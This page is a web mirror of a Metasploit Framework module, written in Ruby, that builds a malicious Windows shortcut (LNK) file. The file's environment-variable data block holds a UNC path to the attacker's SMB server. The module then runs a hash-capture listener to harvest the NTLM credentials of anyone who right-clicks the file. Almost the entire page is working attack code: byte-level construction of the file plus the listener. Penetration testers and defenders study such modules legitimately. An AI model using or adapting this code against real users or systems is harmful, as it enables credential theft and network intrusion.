Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/fileformat/environment_variable_datablock_leak.rb
23590 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'faker'
7
8
class MetasploitModule < Msf::Auxiliary
9
10
include Msf::Exploit::FILEFORMAT
11
include Msf::Exploit::Remote::SMB::Server::Share
12
include Msf::Exploit::Remote::SMB::Server::HashCapture
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Right-Click Execution - Windows LNK File Special UNC Path NTLM Leak',
19
'Description' => %q{
20
This module creates a malicious Windows shortcut (LNK) file that
21
specifies a special UNC path in EnvironmentVariableDataBlock of Shell Link (.LNK)
22
that can trigger an authentication attempt to a remote server. This can be used
23
to harvest NTLM authentication credentials.
24
25
When a victim right-click the generated LNK file, it will attempt to connect to the
26
the specified UNC path, resulting in an SMB connection that can be captured
27
to harvest credentials.
28
},
29
'License' => MSF_LICENSE,
30
'Author' => [
31
'Nafiez', # Original POC & Module
32
],
33
'References' => [
34
['URL', 'https://zeifan.my/Right-Click-LNK/']
35
],
36
'Platform' => 'win',
37
'Targets' => [
38
['Windows', {}]
39
],
40
'DefaultTarget' => 0,
41
'DisclosureDate' => '2025-05-06',
42
'Notes' => {
43
'Stability' => [CRASH_SAFE],
44
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
45
'Reliability' => []
46
}
47
)
48
)
49
50
register_options([
51
OptString.new('DESCRIPTION', [false, 'The shortcut description', nil]),
52
OptString.new('ICON_PATH', [false, 'The icon path to use', nil]),
53
OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10]),
54
])
55
end
56
57
def run
58
lnk_data = create_lnk_file
59
filename = file_create(lnk_data)
60
print_good("LNK file created: #{filename}")
61
62
start_smb_capture_server
63
print_status("Listening for hashes on #{srvhost}:#{srvport}")
64
65
stime = Time.now.to_f
66
timeout = datastore['ListenerTimeout'].to_i
67
loop do
68
break if timeout > 0 && (stime + timeout < Time.now.to_f)
69
70
Rex::ThreadSafe.sleep(1)
71
end
72
end
73
74
def create_lnk_file
75
data = ''.b
76
77
# LNK header - 76 bytes
78
header = "\x4C\x00\x00\x00".b
79
80
# LinkCLSID (00021401-0000-0000-C000-000000000046)
81
header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b
82
83
# Define LinkFlags
84
link_flags = 0x00000000
85
link_flags |= 0x00000004 # HAS_NAME
86
link_flags |= 0x00000020 # HAS_ARGUMENTS
87
link_flags |= 0x00000040 # HAS_ICON_LOCATION
88
link_flags |= 0x00000080 # IS_UNICODE
89
link_flags |= 0x00000200 # HAS_EXP_STRING
90
91
header += [link_flags].pack('V')
92
93
# FileAttributes (FILE_ATTRIBUTE_NORMAL)
94
header += "\x20\x00\x00\x00".b
95
96
# CreationTime, AccessTime, WriteTime (zeroed)
97
header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3
98
99
# FileSize
100
header += "\x00\x00\x00\x00".b
101
102
# IconIndex
103
header += "\x00\x00\x00\x00".b
104
105
# ShowCommand (SW_SHOWNORMAL)
106
header += "\x01\x00\x00\x00".b
107
108
# HotKey
109
header += "\x00\x00".b
110
111
# Reserved fields
112
header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b
113
114
# Add the header to our binary data
115
data += header
116
117
# NAME field (description in Unicode)
118
description = datastore['DESCRIPTION'] || Faker::Lorem.sentence(word_count: 3)
119
description_utf16 = description.encode('UTF-16LE').b
120
data += [description_utf16.bytesize / 2].pack('v')
121
data += description_utf16
122
123
# ARGUMENTS field (command line arguments in Unicode)
124
padding_size = datastore['PADDING_SIZE']
125
cmd_args = ' ' * padding_size
126
cmd_args_utf16 = cmd_args.encode('UTF-16LE').b
127
data += [cmd_args_utf16.bytesize / 2].pack('v')
128
data += cmd_args_utf16
129
130
# ICON LOCATION field (icon path in Unicode)
131
icon_path = datastore['ICON_PATH'] || 'e.g. abc.ico'
132
icon_path_utf16 = icon_path.encode('UTF-16LE').b
133
data += [icon_path_utf16.bytesize / 2].pack('v')
134
data += icon_path_utf16
135
136
# ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE
137
env_block_size = 0x00000314 # Total size of this block
138
env_block_sig = 0xA0000001 # Environmental Variables block signature
139
140
data += [env_block_size].pack('V')
141
data += [env_block_sig].pack('V')
142
143
# Target field in ANSI (260 bytes)
144
unc_share = datastore['SHARE']
145
unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?
146
unc_path = "\\\\#{srvhost}\\#{unc_share}"
147
148
# Create fixed-size ANSI buffer with nulls
149
ansi_buffer = "\x00".b * 260
150
151
# Copy the UNC path bytes into the buffer
152
unc_path.bytes.each_with_index do |byte, i|
153
ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize
154
end
155
156
data += ansi_buffer
157
158
# Target field in Unicode (520 bytes)
159
unc_path_utf16 = unc_path.encode('UTF-16LE').b
160
161
# Create fixed-size Unicode buffer with nulls
162
unicode_buffer = "\x00".b * 520
163
164
# Copy the UTF-16LE encoded UNC path bytes into the buffer
165
unc_path_utf16.bytes.each_with_index do |byte, i|
166
unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize
167
end
168
169
data += unicode_buffer
170
171
data += "\x00\x00\x00\x00".b
172
173
data
174
end
175
176
def get_unc_path
177
"\\\\#{srvhost}\\#{Rex::Text.rand_text_alphanumeric(6)}"
178
end
179
180
def start_smb_capture_server
181
start_service
182
print_status('The SMB service has been started.')
183
end
184
185
end
186
187